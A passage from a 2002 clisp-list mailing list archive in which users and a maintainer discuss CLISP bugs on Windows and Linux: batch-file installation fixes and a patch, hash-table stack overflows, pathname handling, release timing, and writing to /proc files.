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> * In message <DFD875E85664D3118FA6080006277DE704F0564A@U8PN2>
> * On the subject of "[clisp-list] Re:[clisp-list]Q: problem with run-prog=
ramm in Win32 (:indirectp documentation, :wait & %s in message)"
> * Sent on Thu, 21 Feb 2002 10:05:01 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writ=
es:
>
> Why does one see [%s: 10790] and somebody else [pathname.d:11395]?

this was a bug, fixed on 2001-12-20 by Arseny Slobodjuck

> > [7]> (run-program "dir" :indirect t)
>=20
> Good to know that shell internal programs can be run as well.

this is now documented in the impnotes and will be available with the
next release.

> Where is the CLISP FAQ? :-)

not yet -- any volunteers?
the FAQ should be a map "question --> impnotes reference".
it should be written in XHTML.

> BTW, does :WAIT really work on MS-Windows?? The code appends a " &"
> after the command, something I only know from UNIX shells. Is there a
> few #+UNIX missing in runprog.lisp?

you can use bash on win32 too.
(setenv COMSPEC)

> What does indirectp mean to the user?
> cmd.exe /? says:
> /C      F=FChrt den Befehl in der Zeichenfolge aus und endet dann.
> ~ "Execute command in string and end." What's indirect about that?
> It seems to be the equivalent of UNIX /bin/[[t]c]sh -c
> Shouldn't that be the default for something called "run-SHELL-command"?

on win32, CLISP does _not_ start a shell to execute something, by
default.
i.e., SHELL does not necessarily invoke COMSPEC.
the _semantics_ of SHELL is the same on all platforms,
but the _implementation_ is different.

> I'm using the CLISP-2.27-win32 binary distribution on a MS-W*2k system.

this is very old.
we _are_ overdue for a release.

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I am preparing a set of instructions for setting up a Lisp development environment on Windows with configuration information for clisp/ilisp, acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook:

http://cl-cookbook.sourceforge.net/windows.html

Sam Steingold rightly pointed out some problems with my CLISP installation instructions in his posting to comp.lang.lisp:

http://groups.google.com/groups?hl=en&threadm=wksn7vwgcq.fsf%40attbi.com&prev=/groups%3Foi%3Ddjq%26as_ugroup%3Dcomp.lang.lisp

As I mentioned in my reply to his posting, I had some problems with the install.bat (actually install.lisp) installation. I just checked and see that a fix is already in CVS. I also pointed out (in an earlier email) that the clisp-indent.el file isn't available in the standard Windows distribution & Sam indicated that it would be included in the next release. 

I would like to update my instructions to allow users to correctly install CLISP on a Windows PC. I can do one of the following:

1. Include instructions on how to download the cvs version of clisp-indent.el (I do this already) and install.lisp (I don't do this - are there any dependencies that would make this not work properly if downloaded & installed on the standard CLISP 2.27 Windows distribution?). 

2. Change my instructions to refer to CLISP 2.28 which includes the necessary fixes. The only problem is that 2.28 hasn't been released yet :-( However, Sam alluded to the fact that it's been a while since the Windows distribution has been updated in an earlier (unrelated) message:

> > I'm using the CLISP-2.27-win32 binary distribution on a 
> MS-W*2k system.
> 
> this is very old.
> we _are_ overdue for a release.
>

Any chance that a new release will occur sometime soon (in the next few days)?

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<P>I am preparing a set of instructions for setting up a Lisp development environment on Windows with configuration information for clisp/ilisp, acl/eli, corman/eshell &amp; lw/ilisp for the Common Lisp Cookbook:</P>
<P>http://cl-cookbook.sourceforge.net/windows.html</P>
<P>Sam Steingold rightly pointed out some problems with my CLISP installation instructions in his posting to comp.lang.lisp:</P>
<P>http://groups.google.com/groups?hl=en&amp;threadm=wksn7vwgcq.fsf%40attbi.com&amp;prev=/groups%3Foi%3Ddjq%26as_ugroup%3Dcomp.lang.lisp</P>
<P>As I mentioned in my reply to his posting, I had some problems with the install.bat (actually install.lisp) installation. I just checked and see that a fix is already in CVS. I also pointed out (in an earlier email) that the clisp-indent.el file isn't available in the standard Windows distribution &amp; Sam indicated that it would be included in the next release. </P>
<P>I would like to update my instructions to allow users to correctly install CLISP on a Windows PC. I can do one of the following:</P>
<P>1. Include instructions on how to download the cvs version of clisp-indent.el (I do this already) and install.lisp (I don't do this - are there any dependencies that would make this not work properly if downloaded &amp; installed on the standard CLISP 2.27 Windows distribution?). </P>
<P>2. Change my instructions to refer to CLISP 2.28 which includes the necessary fixes. The only problem is that 2.28 hasn't been released yet :-( However, Sam alluded to the fact that it's been a while since the Windows distribution has been updated in an earlier (unrelated) message:</P>
<P>&gt; &gt; I'm using the CLISP-2.27-win32 binary distribution on a <BR>&gt; MS-W*2k system.<BR>&gt; <BR>&gt; this is very old.<BR>&gt; we _are_ overdue for a release.<BR>&gt;</P>
<P>Any chance that a new release will occur sometime soon (in the next few days)?</P>
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Hallo

> BTW, there's some unrelated bug showing, and some lack of documentation:

>> lin8080 [Stefan] reports:
>> [1]>  (shell "dir")
>> [pathname.d:11395]
>> *** - Win32 error 2 (ERROR_FILE_NIT_FOUND): The system cannot find the
                                  ^^^ is that really copy&paste??

This is my typo. I am sorry for that. The copy and past did not work out
of the DOS-box. And still I do not look for a way to something like
~(save-to-file "output.txt"). So I typed the messages into the
E-Mail-text-window. (see error-typo in line [7]). the _NIT should be
_NOT.


Later on I tried some more. When (execute "editor.exe") is run, the
CLisp-Dosbox shows a single "_" (not blinking) until the Programm
editor.exe is close / finished. Then the CLisp-dosbox shows the cursor
in a normal new line like "[9]> _".

I also tried some different ways :

(execute "clisp.bat" (execute "editor.exe")) ; for example. 

 Should open a new CLisp-dosbox and run there the editor.exe, so I
thought. But this did not work. The editor was opened and after closing
the editor.exe, I saw the error 

*** - A file with name T does not exist 

followed by T in a new line and the usual prompt in the next line. 

 I guess it is the MS Command.com, who says "take first *.exe, then
*.com, then *.bat, else print error", but also it is possible last
return-value from CLisp.

 Now I copied the file "clisp.bat" to "T" and start again (same
session). (The file-manager shows the new file T). But I get another
error: 

*** - EVAL: variable @ECHO has no value 

 For this I do not know, what happened, but assume, that CLisp is asking
whether there is always a valid dosbox opened.

 When I change the commands to (write first the exe and last the bat):

(execute "editor.exe" (execute "clisp.bat"))

this will open a new CLisp-session in the existing dosbox, or better say
restart the CLisp program (line-number start with [1]) and no editor.exe
was executed). So I did this:

((execute "clisp.bat")(execute "editor.exe"))

 and I see an blinking cursor in a new line "_" and nothing more
happend, but windows says close this. I typed in "ctrl + c" and saw
this:

*** - handle_fault error2 ! address = 0x41C87000 not in
[0x1A430000,0x1A4D3468)!
*** - handle_fault error2 ! address = 0x41c782B0 not in
[0x1A430000,0x1A4D3468)!
*** - handle_fault error2 ! address = 0x41C80170 not in
[0x1A430000,0x1A4d3468)!
!*** -
*** - handle_fault error2 ! address = 0x41C789F8 not in
[0x1A430000,0x1A4D3468)!SYSTEM::STRING-READER: Ctrl-C: User break
SIGSEGV cannot be cured. Fault address = 0x41C87000.
SIGSEGV cannot be cured. Fault address = 0x41C782B0.
SIGSEGV cannot be cured. Fault address = 0x41C80170.
SIGSEGV cannot be cured. Fault address = 0x41C789F8.

1. Break [5]>_

 The CLisp cursor is blinking in his dosbox, but windows means: This
program has performed an illegal operation and will be shut down.
[close].

 Ignoring this, a backtrace shows: -NIL. And the CLisp-dosbox seems to
work normal. But I closed it with exit and I saw the normal Bye., a "T"
in a new line and the cursor with [2]>_ .

 A 2nd (exit) does open the editor.exe and in the editor I saw the
content of the file T (the copy of clisp.bat). I closed the editor and
give the 3rd (exit), it prints the bye. and opend again the editor. I
repeat the procedure and get wondering (all execute commands are done,
not only the last / newest). The 4th (exit), thats it. Then I clicked on
the win-error close and wrote a notice on a paper.

 Now next day I repeat the typings in this mail and it is the same
(except the memory-values).

Is there something else to test ? When I find time, I take a look at the
Hyperspec about the execute-command, to see the :words and some more
infos. Also looking for a way, to see the content of that ~execute-list.

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> * In message <20020221174825.27629.qmail@web10401.mail.yahoo.com>
> * On the subject of "[clisp-list] Next release of CLISP?"
> * Sent on Thu, 21 Feb 2002 09:48:25 -0800 (PST)
> * Honorable Bill Clementson <bill_clementson@yahoo.com> writes:
>
> 1. Include instructions on how to download the cvs version of
> clisp-indent.el (I do this already) and install.lisp (I don't do this
> - are there any dependencies that would make this not work properly if
> downloaded & installed on the standard CLISP 2.27 Windows
> distribution?).
no

> Any chance that a new release will occur sometime soon (in the next few days)?
no

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Hi,

I submitted a bug-report about a crash, Sam cannot reproduce it. =
However I still can.
http://sourceforge.net/tracker/?func=3Ddetail&aid=3D514805&group_id=3D13=
55&atid=3D101355

Please try out the following and report either to me or Sam what your =
CLISP is and how it behaves. I think it's not necessary to respond to =
the whole list.

I believe neither the stack overflow nor the crash are normal =
behaviour.
I use clisp-2.27-win32 (binary distribution).

Thanks for participating,
	J=F6rg H=F6hle.

;; These rehash-sizes crash CLISP-2.27-win32k
;; 17.0f0 19.0s0 21.0s0 22.0s0
;; These ones work
;; 9.0s0 13.0s0 15.0s0
;; Non-deterministic crashes (i.e. may work) occur with:
;; 16.0f0 16.0l0

;; NB: only (ext:space ..) causes "unknown SW exception". Without it,
;; there's just the "program stack overflow".

;; Joerg Hoehles version: only positives: halves size and doubles speed
;; Based on Bruce Hoult's posting to cll "Cute Little Problem"
;; Best :rehash-size seems to be 9.0s0
(defun nines (&optional (rehash-size 21.0s0))
  (declare (optimize (speed 3) (safety 1)))
  (let ((nums (make-array 10
	  :initial-contents (loop repeat 10 collect
		(make-hash-table :size 450 :rehash-size rehash-size)))))
    (setf (gethash 9 (svref nums 1)) t)
    (loop for n from 2 below 10 as h =3D (svref nums n) do;; start [*]
	  (loop for p from 1 to (floor n 2) do
		(loop for a being the hash-keys of (svref nums p) do
		      (loop for b being the hash-keys of (svref nums (- n p)) do
			    (setf (gethash (+ a b) h) t  (gethash (* a b) h) t
				  (gethash (abs (- a b)) h) t)
			    unless (zerop b) do (setf (gethash (/ a b) h) t)
			    unless (zerop a) do (setf (gethash (/ b a) h) t))))
	  collect (hash-table-size h)
	  collect ;; no format, just return result
		  (loop for i from 1 unless (gethash i h) do (return i)))))
#|
[2]> (load "9nines" :compiling t)
[3]> (nines)
 *** - Program stack overflow. RESET
[4]> (nines 9.0s0)

(450 2 450 1 450 4 450 13 4050 22 4050 33 36450 103 36450 195)
[5]> (nines 13.0s0)

(450 2 450 1 450 4 450 13 5850 22 5850 33 76050 103 76050 195)
[6]> (ext:space (nines))
 *** - Program stack overflow. RESET
Plus additional window: unknown software exception (0xc0000094) at =
0x004e8ad0.
"Integer divide by zero"
Process inferior-lisp exited abnormally with code 148

[Restart]
[4]> (nines 22.0s0)
 *** - Program stack overflow. RESET
[5]> (nines 19.0s0)
 *** - Program stack overflow. RESET
[6]> (nines 15.0s0)

(450 2 450 1 450 4 450 13 6750 22 6750 33 101250 103 101250 195)
[22]> (dotimes (i 10) (print i) (nines 33.0s0))
0=20
1=20
*** - Program stack overflow. RESET
[32]> (ext:space (nines 33.0s0))
*** - Program stack overflow. RESET
*** - CAR: :ADJUSTABLE is not a list
1. Break [33]>=20
> (dotimes (i 10) (print i) (nines 16.0s0))
|#


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The install.lisp program (in CVS) creates a batch file for starting CLISP in Windows. However, if CLISP is installed in a directory that has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the batch file will not work correctly. When a directory name has spaces in it, the entire path & file should be surrounded by quotes (e.g. - "c:\Program Files\clisp-2.27\lisp.exe" -B etc). Since Windows users typically install programs in the c:\Program Files\ directory, the install.lisp program should probably account for this. For the time being, the work-arounds are to do one of the following:

1. Install clisp in a directory where this is not an issue (e.g. - c:\clisp or c:\home\bin\clisp)
2. Manually modify the clisp.bat file that is created by the install.lisp program to include the quotes

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<P>The install.lisp program (in CVS) creates a batch file for starting CLISP in Windows. However, if CLISP is installed in a directory that has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the batch file will not work correctly. When a directory name has spaces in it, the entire path &amp; file should be surrounded by quotes (e.g. - "c:\Program Files\clisp-2.27\lisp.exe" -B etc). Since Windows users typically install programs in the c:\Program Files\ directory, the install.lisp program should probably account for this. For the time being, the work-arounds are to do one of the following:</P>
<P>1. Install clisp in a directory where this is not an issue (e.g. - c:\clisp or c:\home\bin\clisp)<BR>2. Manually modify the clisp.bat file that is created by the install.lisp program to include the quotes</P>
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> * In message <20020222182135.77221.qmail@web10405.mail.yahoo.com>
> * On the subject of "[clisp-list] Problem with install.lisp in Windows"
> * Sent on Fri, 22 Feb 2002 10:21:35 -0800 (PST)
> * Honorable Bill Clementson <bill_clementson@yahoo.com> writes:
>
> The install.lisp program (in CVS) creates a batch file for starting
> CLISP in Windows. However, if CLISP is installed in a directory that
> has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the
> batch file will not work correctly.

oops - my fault (I always put CLISP in c:/gnu/clisp)...
just fixed it in the CVS
thanks for such thorough testing!

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Hi,

I simplified yor code a bit:

(let ((h (make-hash-table :size 123000)))
  (loop for i from 1 to 10000 do 
    (when (or (zerop (mod i 100)) (= i 1))
      (unless (= i 1)
        (loop for i from 1 to 29 do (princ #\Backspace)))
      (format t "Checking ~7D size ~7D" i  (hash-table-size h)))
    (setf (gethash i h) t)))

Still crashes stack in NT. FreeBSD ok. It's seems that when
hash-table-size becomes about 120000 - 130000 clisp cannot
handle it while "hash table too large" error doesn't arise.
To check this you need quite a computer though.

Also I noticed that integer rehash-sizes behaves as it was
2.0 (Both in FreeBSD and NT). That's a test

(let ((h (make-hash-table :size 1 :rehash-size 1000)))
  (loop for i from 1 to 20 do 
    (setf (gethash i h) t)
    (format t "Checking ~2D size ~D~%" i  (hash-table-size h))))


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On Mon, Feb 18, 2002 at 12:59:53AM -0500, Sam Steingold wrote:
> > * Sent on Fri, 15 Feb 2002 19:12:11 +0100
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > [2]> (probe-file #"/home/prw/.inputrc")
> > 
> > *** - no file name given: #P"/home/prw/.inputrc"
> 
> this is a feature, not a bug.
> <http://clisp.cons.org/impnotes.html#d39e11164>
> 
> #".foo"
> ==>
> #S(PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME NIL :TYPE "foo"
>    :VERSION NIL)
> 

Hi,

After due reflection and experimentation, I have to say I disagree.  I
was going to ask about this on CLL but after a pause from it, reading
the last 100 or so messages made me feel distinctly sick.  Even sicker
than reading up on the pathnames section of the hyperspec.

On unix, a filename does _not_ have the sort of type which Clisp is
insisting on.  Also, a directory is not radically different to a file,
so why can't #'probe-file take a directory?  It can on all the other
lisp implementations to which I have access (Gcl, CMUCL, Lispworks
Personal and Allegro trial).

On all the mentioned implementations (probe-file X) where X can be a
string naming a directory or file, with or without a trailing slash in
the case of a directory, works just fine as a test for the existence
of X, and where the return value can be used sensibly.

I have to jump through rings to get something like it to work on
Clisp, and chuck portability out the window.  Please don't quote the
spec at me, because Clisp needs ext:probe-directory to help in cases
like this, and don't refer me to CLL - I've had my year's fill of old
farts rambling about VAX and multics and LispM's filesystems.

Maybe its not a bug.  It's certainly NOT a feature.

Regards,
Peter


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> * In message <20020221174011.A1290@apal.ii.uib.no>
> * On the subject of "[clisp-list] REINITIALIZE-INSTANCE problems"
> * Sent on Thu, 21 Feb 2002 17:40:12 +0100
> * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
>
> *** - handle_fault error2 ! address = 0x4556454F not in 
> [0x202A6000,0x2036220C) !
> SIGSEGV cannot be cured. Fault address = 0x4556454F.
> Segmentation fault (core dumped)

just fixed this in the CVS.
thanks for the bug report.

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Quoting Sam Steingold (sds@gnu.org):
| > * In message <20020221174011.A1290@apal.ii.uib.no>
| > * On the subject of "[clisp-list] REINITIALIZE-INSTANCE problems"
| > * Sent on Thu, 21 Feb 2002 17:40:12 +0100
| > * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
| >
| > *** - handle_fault error2 ! address = 0x4556454F not in 
| > [0x202A6000,0x2036220C) !
| > SIGSEGV cannot be cured. Fault address = 0x4556454F.
| > Segmentation fault (core dumped)
| 
| just fixed this in the CVS.

good :-)

| thanks for the bug report.

do you have an estimate when this (imho important) fix comes
in a released clisp?  ie when will the next clisp be released,
it has been quite awhile, and looking at clisp-devel it seems
to me that current cvs contains many important bug-fixes.

May I politely ask for "release early, release often"? :-)

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> > The install.lisp program (in CVS) creates a batch file for starting
> > CLISP in Windows. However, if CLISP is installed in a directory that
> > has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the
> > batch file will not work correctly.
> 
> oops - my fault (I always put CLISP in c:/gnu/clisp)...
> just fixed it in the CVS

I tested the new version of the install.lisp program. It creates a batch
file that looks like the following:

@echo off
"C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program Files\clisp-2.27\" -M
"C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9

However, when I run the batc h file, I get the following error message:

c:\>c:\clisp.bat
c:\clisp.bat

WARNING: No initialisation file specified.
Please try: C:\Program Files\clisp-2.27\lisp.exe -M lispinit.mem

*** - EVAL: the function SYSTEM::BATCHMODE-ERRORS is undefined

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I did some follow-up tests. The batch file that is generated by the CVS
version of install.lisp looks like this:

@echo off
"C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program Files\clisp-2.27\" -M
"C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9

As I mentioned in my previous email, that batch file doesn't start up clisp
correctly. If the batch file is changed (the only change is to swap the
order of the -M and -B parameters) to look like this:

@echo off
"C:\Program Files\clisp-2.27\lisp.exe" -M "C:\Program
Files\clisp-2.27\lispinit.mem" -B "C:\Program Files\clisp-2.27\" %1 %2 %3 %4
%5 %6 %7 %8 %9

it seems to work ok. However, in your earlier comments you mentioned that
the -B switch tells CLISP where to find files like clhs.txt and
UnicodeData.txt and that switch's value may not be being interpreted
correctly either. If you can tell me some way to check whether the value of
the -B switch has been interpreted correctly after clisp startup, I'll test
whether just reversing the order of the arguments is a valid fix.

However, in the meantime, you should probably reverse the fix that you made
to install.lisp as it now creates a non-functional clisp.bat file (Note: the
clisp.bat file is broken even for situations where the install is to a
directory without spaces in its name).

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> * In message <08CFC733EDACD211AEA40008C7A4D39C07F8E70C@cormails2.jdedwards.com>
> * On the subject of "RE: [clisp-list] Problem with install.lisp in Windows"
> * Sent on Sat, 23 Feb 2002 12:16:00 -0700
> * Honorable "Clementson, Bill" <Bill_Clementson@jdedwards.com> writes:
>
> I tested the new version of the install.lisp program. It creates a batch
> file that looks like the following:
> 
> @echo off
> "C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program Files\clisp-2.27\" -M
> "C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9

curse be upon the moron who decided to use #\\ as the pathname
separator!
please try the appended patch.
win32 is supposed to understand the normal slashes as well.

to check the data directory (specified by the -B option) try calling
BLAHS or describing a UNICODE character.

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--- install.lisp.~1.5.~	Fri Feb 22 21:12:01 2002
+++ install.lisp	Sun Feb 24 00:07:44 2002
@@ -5,7 +5,7 @@
 ;;  - to set the Registry appropriately
 ;;  - to create CLISP.BAT on your desktop
 
-(defvar *clisp-home* (namestring (default-directory)))
+(defvar *clisp-home* (substitute #\/ #\\ (namestring (default-directory))))
 (defvar *clisp-base-cmd*
   (concatenate 'string "\"" *clisp-home* "lisp.exe\" -B \""
                *clisp-home* "\" -M "))



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> * In message <20020223190952.A1918@apal.ii.uib.no>
> * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems"
> * Sent on Sat, 23 Feb 2002 19:09:52 +0100
> * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
>
> do you have an estimate when this (imho important) fix comes
> in a released clisp?  ie when will the next clisp be released,
> it has been quite awhile, and looking at clisp-devel it seems
> to me that current cvs contains many important bug-fixes.

read CLISP/src/ChangeLog, find the bug you need, get the fixes you need
from the CVS, apply the patches, build from the sources.

> May I politely ask for "release early, release often"? :-)

may I politely ask for money? :-)

I have been unemployed for 3 weeks now, and if you can offer me a
contract doing CLISP development, it would be nice.
If you have a permanent position for me in the Boston, MA area, it
would be even better (<http://www.podval.org/~sds/resume.html>).

[just in case - CLISP is and always will be under GPL.  don't worry]

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Hi

This may be of interest to Clispers on Linux.  Certain functions of
the linux kernel can be controlled by echoing a '1' or '0' or '-1' to
various files in the /proc filesystem. (Common knowledge)

It turns out that Common Lisp's built in #'open and the with-open-file
macro are useless for writing to these files.  The kernel expects to
have the number echoed thus:

$ echo -1 > /proc/sys/fs/bin_fmt/status 

(for example)

and the shell redirection operator '>' results in the the file being
truncated to zero length.  CL doesn't seem to allow for this behaviour
in #'open keywords.  I tried :supersede :overwrite and :append and
they all resulted in Unix error EINVAL (invalid argument) and a
rubbished terminal.

I ended up using (linux:fopen "path" "w") since the "w" mode
automatically results in truncation to zero length,  and it worked
fine.

Regards,
Peter


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Peter Wood writes:
 > Hi
 > 
 > This may be of interest to Clispers on Linux.  Certain functions of
 > the linux kernel can be controlled by echoing a '1' or '0' or '-1' to
 > various files in the /proc filesystem. (Common knowledge)
 > 
 > It turns out that Common Lisp's built in #'open and the with-open-file
 > macro are useless for writing to these files.  The kernel expects to
 > have the number echoed thus:
 > 
 > $ echo -1 > /proc/sys/fs/bin_fmt/status 
Well, I don't seem to have this file, so it's possible that it's a
problem with this particular file.
Since every proc file has its own program for read/write it seems
possible (even likely) that different files will act in different
ways. 

 > (for example)
 > 
 > and the shell redirection operator '>' results in the the file being
 > truncated to zero length.  CL doesn't seem to allow for this behaviour
 > in #'open keywords.  I tried :supersede :overwrite and :append and
 > they all resulted in Unix error EINVAL (invalid argument) and a
 > rubbished terminal.

I don't see this problem (see below) unless I try to write as
non-root.

[1]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f))
299
[2]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output) (princ "1100" f))
"1100"
[3]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f))
1100
[4]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output) (princ "300" f))
"300"
[5]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f))
3000

 ;; oops ...

[6]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output ) (format f "300~%"))
NIL
[7]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f))
300
[8]> 

and at this point in another shell
cat /proc/sys/net/ipv4/route/gc_timeout
300


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On Sun, Feb 24, 2002 at 08:32:33AM -0800, Don Cohen wrote:
> Peter Wood writes:
>  > Hi
>  > 
>  > This may be of interest to Clispers on Linux.  Certain functions of
>  > the linux kernel can be controlled by echoing a '1' or '0' or '-1' to
                                                      ^^^^^^^^^^^^^^^^^

>  > various files in the /proc filesystem. (Common knowledge)
>  > 
>  > It turns out that Common Lisp's built in #'open and the with-open-file
>  > macro are useless for writing to these files.  The kernel expects to
                                   ^^^^^^^^^^^^^^^
>  > have the number echoed thus:
>  > 
>  > $ echo -1 > /proc/sys/fs/bin_fmt/status 
> Well, I don't seem to have this file, so it's possible that it's a
> problem with this particular file.
> Since every proc file has its own program for read/write it seems
> possible (even likely) that different files will act in different
> ways. 

You won't have it unless you enabled the binfmt_misc option when you
built the kernel.  You are right about different files acting
differently.  I have been writing to (for example)
/proc/sys/fs/binfmt_misc/register from lisp every time my machine
boots for several months.  The problem I described only applies to the
files in binfmt_misc, which can be controlled by a -1, 0 or 1.  I did
mention that.

> 
>  > (for example)
>  > 
>  > and the shell redirection operator '>' results in the the file being
>  > truncated to zero length.  CL doesn't seem to allow for this behaviour
>  > in #'open keywords.  I tried :supersede :overwrite and :append and
>  > they all resulted in Unix error EINVAL (invalid argument) and a
>  > rubbished terminal.
> 
> I don't see this problem (see below) unless I try to write as
> non-root.

You don't see _this_ problem even if you do try to write as non-root,
you see _another_ problem. :-)

You don't see it because you aren't doing the same thing as I was.  I
believe it only applies to files which the kernel expects to be
truncated to zero length (as happens when you use the redirection
operator '>'.  (info bash)) Echoing a -1 to
/proc/sys/fs/binfmt_misc/status does not leave status with a '-1' in
it, it _removes_ status and any files have been registered through
/proc/sys/fs/binfmt_misc/register.


> [6]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout" :direction :output ) (format f "300~%"))
> NIL
> [7]> (with-open-file (f "/proc/sys/net/ipv4/route/gc_timeout") (read f))
> 300
> [8]> 
> 
> and at this point in another shell
> cat /proc/sys/net/ipv4/route/gc_timeout
> 300

I know with-open-file works on some files in the system, because I've
been using lisp to write to them for some time.  But it does not work
with the files in /proc/sys/fs/binfmt_misc/ _except_ the file called
register which doesn't get truncated.  Try wiping out gc_timeout in
your example above with:

echo > /proc/.../gc_timeout

And you'll find it still contains the value 300.  Normally, that would
leave an empty file.  

I do think the problem I described is due to the kernel needing the
file to be truncated to zero length before they get written to.  That
is what happens when fopen() gets called on the file with a MODE of
"w", and using linux:fopen allows me to write to it from lisp.

Regards,
Peter


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On Sun, Feb 24, 2002 at 12:41:09AM -0500, Sam Steingold wrote:

<Lots of sensible things clipped>

Yes, please, Sam.  Thank you for listening.

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Sam Steingold writes:
> <Bill_Clementson@jdedwards.com> writes:
> >
> > I tested the new version of the install.lisp program. It 
> creates a batch
> > file that looks like the following:
> > 
> > @echo off
> > "C:\Program Files\clisp-2.27\lisp.exe" -B "C:\Program 
> Files\clisp-2.27\" -M
> > "C:\Program Files\clisp-2.27\lispinit.mem" %1 %2 %3 %4 %5 
> %6 %7 %8 %9
> 
> curse be upon the moron who decided to use #\\ as the pathname
> separator!
> please try the appended patch.
> win32 is supposed to understand the normal slashes as well.

I applied the patch and it generates a batch file that starts up clisp ok. I
ran a few tests and everything seems to work fine now.

> to check the data directory (specified by the -B option) try calling
> BLAHS or describing a UNICODE character.

I don't know what BLAHS is and couldn't find any function or source file
that looked like "BLAHS". Also, I don't know what you mean by "describing a
UNICODE character" (well, more correctly, I know what the words mean, but I
don't know how to do this in Lisp). Can you suggest a couple of test forms
to try?

Thanks for the quick response.

--
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> * In message <08CFC733EDACD211AEA40008C7A4D39C07F8E70E@cormails2.jdedwards.com>
> * On the subject of "RE: [clisp-list] Problem with install.lisp in Windows"
> * Sent on Sun, 24 Feb 2002 12:48:49 -0700
> * Honorable "Clementson, Bill" <Bill_Clementson@jdedwards.com> writes:
>
> I don't know what BLAHS is and couldn't find any function or source
> file that looked like "BLAHS". Also, I don't know what you mean by
> "describing a UNICODE character" (well, more correctly, I know what
> the words mean, but I don't know how to do this in Lisp). Can you
> suggest a couple of test forms to try?

(clhs 'car)
(desccribe (code-char 1234))

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Cannot handle the fatal error due to a fatal error in the fatal error handler.



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Hello,

CLisp version 2.27

On windows 95 (at least on my computer) control-C does not seem to have any
effect.
My program continues to execute.

Is there some function that I can insert into my program that checks whether
control-C
has been pressed and then goes into the debugger?
(Or can I change some setting on windows 95 or clisp??)

I have tried the same thing on a computer installed with Windows 2000 and
had
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Rene.
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Is there some way to get clisp to drop me into the debugger when I get
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Hi!

I'm at a loss to explain this behavior: 

NLP[11]> (defvar *blocks-home* "~/blocks")
*BLOCKS-HOME*
NLP[12]> (load (concatenate 'string *blocks-home* "/nlp-test.lisp"))
*** - A file with name /rhome/5510/abramson/blocksnlp does not exist
1. Break NLP[13]> (probe-file (concatenate 'string *blocks-home* "/nlp-test.lisp"))
#P"/rhome/5510/abramson/blocks/nlp-test.lisp"
1. Break NLP[13]> 

This does not work either

1. Break NLP[27]> (make-pathname :directory '(:absolute "rhome" "5510" "abramson" "blocks")
	        :name "nlp-test"
		:type "lisp")
#P"/rhome/5510/abramson/blocks/nlp-test.lisp"
1. Break NLP[27]> (load *)
*** - A file with name /rhome/5510/abramson/blocksnlp does not exist
2. Break NLP[26]> 

Thanks for any help. 
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Sorry. My bug!

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> * In message <87elj9jwz8.fsf@yahoo.com>
> * On the subject of "[clisp-list] stack overflow -> into debugger?"
> * Sent on 25 Feb 2002 12:24:27 -0500
> * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
>
> Is there some way to get clisp to drop me into the debugger when I get
> a stack overflow condition?

not really - debugger requires some stack too, and detecting an
"impending" stack overflow is much more expensive than detecting an
actual one.

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Sam Steingold writes:
> <Bill_Clementson@jdedwards.com> writes:
> >
> > I don't know what BLAHS is and couldn't find any function or source
> > file that looked like "BLAHS". Also, I don't know what you mean by
> > "describing a UNICODE character" (well, more correctly, I know what
> > the words mean, but I don't know how to do this in Lisp). Can you
> > suggest a couple of test forms to try?
> 
> (clhs 'car)
> (desccribe (code-char 1234))

I came across a couple of problems trying to run these tests:

Problem #1: In the CLISP 2.27 Windows distribution, the files clhs.txt and
UnicodeData.txt are not included as part of the standard distribution. I
copied them from the Linux source distribution. and re-ran the tests.

Problem #2: After re-running the tests, I got the following result:

[2]> (clhs 'car)
;; Reading `C:\Program Files\clisp-2.27\\clhs.txt' [46,458 bytes]...done
[0.05 sec]
BROWSE-URL: no browser specified; please point your browser at
 -->
<URL:http://www.lisp.org/HyperSpec/Body/acc_carcm_cdr_darcm_cddddr.html>
NIL
[9]> (describe (code-char 1234))

#\CYRILLIC_CAPITAL_LETTER_A_WITH_DIAERESIS is a character.
Unicode name: CYRILLIC CAPITAL LETTER A WITH DIAERESIS
It is a printable character.
Its use is non-portable.

[10]> 

It seems to print the correct results; however, it was odd that the file
listed was `C:\Program Files\clisp-2.27\\clhs.txt' (note the "\\" before the
file name clhs.txt). To fix the problem, I removed the trailing "/" from the
path that is written out following the "-B" option. In other words, I
changed the batch file from this:

@echo off
"C:/Program Files/clisp-2.27/lisp.exe" -B "C:/Program Files/clisp-2.27/" -M
"C:/Program Files/clisp-2.27/lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9

To this:

@echo off
"C:/Program Files/clisp-2.27/lisp.exe" -B "C:/Program Files/clisp-2.27" -M
"C:/Program Files/clisp-2.27/lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9

Re-running the tests, I got the same results but with the following file
listed:
[2]> (clhs 'car)
;; Reading `C:\Program Files\clisp-2.27\clhs.txt' [46,458 bytes]...done
[0.04 sec]
[..] the remainder was the same

I would suggest that the following changes be made:

Suggested Fixes:
